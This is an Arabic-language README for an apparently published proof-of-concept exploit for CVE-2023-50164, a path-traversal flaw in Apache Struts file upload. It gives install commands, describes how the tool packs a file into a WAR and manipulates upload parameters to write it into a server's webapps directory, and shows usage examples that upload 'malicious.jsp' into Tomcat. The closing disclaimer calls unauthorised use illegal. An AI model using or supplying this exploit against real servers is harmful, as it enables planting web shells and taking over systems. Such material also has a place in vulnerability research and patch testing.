
إثبات المفهوم لاجتياز المسار في Apache Struts ("CVE-2023-50164")
===
التثبيت
لتثبيت هذه الأداة، يجب أن يكون لديك إصدار Go 1.20 على الأقل مثبتًا ومُهيأً.
$ go install github.com/dwisiswant0/cve-2023-50164-poc@latest
بدلاً من ذلك، يمكنك تجميعها بنفسك: $ git clone http://github.com/dwisiswant0/cve-2023-50164-poc cve-2023-50164-poc/ $ cd $_ $ go build .
كيف يعمل؟
تعمل هذه الأداة من خلال سلسلة من المراحل لتنفيذ الثغرة.
على سبيل المثال، إذا أردت رفع ملف /path/to/file-you-want-to-upload.txt، تتابع الأداة كما يلي:
تضغط الملف المحدد إلى ملف WAR، وتنشئ ملف file-you-want-to-upload.war في الدليل المؤقت الخاص بنظام التشغيل. وبالتالي، تفترض الأداة أن مسار ملف سياق السيرفلت هو /file-you-want-to-upload/file-you-want-to-upload.txt.
تتحقق مما إذا كان مسار ملف سياق السيرفلت موجودًا بالفعل. إذا كان موجودًا، تعيد الأداة خطأً فورًا.
تحاول الأداة رفع ملف WAR عن طريق التلاعب بمعايير رفع الملف.
بعد ذلك، تتحقق مرة أخرى من توفر (رمز الحالة 200) مسار ملف سياق السيرفلت، مما يشير إلى نجاح رفع الملف.
الاستخدام
$ cve-2023-50164-poc -h
إثبات المفهوم لـ CVE-2023-50164
--
مُرمَز بواسطة @dwisiswant0
الاستخدام:
cve-2023-50164-poc -u <URL> -f <FILE> -p <PATH>
الخيارات:
-u, --url <URL> حدد عنوان URL لنقطة نهاية الرفع
-f, --file <FILE> قدم ملف التحميل للرفع
-t, --traverse-seq <N> أنشئ متواليات تجول N مرة (الافتراضي: "0")
-p, --path <PATH> حدد المسار إلى الدليل الجذر القابل للوصول
-w, -win, --windows يحول أحرف الشرطة المائلة ("/") إلى فاصل ويندوز ("\")
مثال:
cve-2023-50164-poc -u http://host/path/to/upload.action -f foo.txt -t 1 -p webapps
cve-2023-50164-poc -u http://host/upload/upload.action -f malicious.jsp -t 2 -p /opt/tomcat/webapps
ملاحظات
يجب أن يكون ملف jar الثنائي موجودًا في $PATH لنظامك.
يجب أن يكون المسار الهدف مسارًا جذرًا قابلاً للوصول، مثل /var/lib/jetty/webapps لـ Jetty أو
/opt/tomcat/webapps لـ Apache Tomcat.
متواليات التجول الافتراضية هي صفر ("0")، يمكنك إدخال متواليات التجول يدويًا لقيمة العلم -p/--path،
على سبيل المثال /../webapps أو /../../opt/tomcat/webapps. ستختلف متواليات التجول لكل سيرفلت.
يتم استخدام العلم -w/-win/--windows حصريًا عندما يعمل السيرفلت على خادم ويندوز.
إخلاء مسؤولية
استخدام هذه الأداة لمهاجمة أهداف دون موافقة متبادلة غير قانوني. يجب على المستخدمين اتباع القوانين المحلية والولائية والفيدرالية. المطور ("dwisiswant0"/"Dwi Siswanto") غير مسؤول عن أي ضرر ناتج عن سوء استخدام الأداة.
الترخيص
هذه الأداة مرخصة بموجب WTFPL v2 (ترخيص عام افعل ما تشاء). انظر COPYING.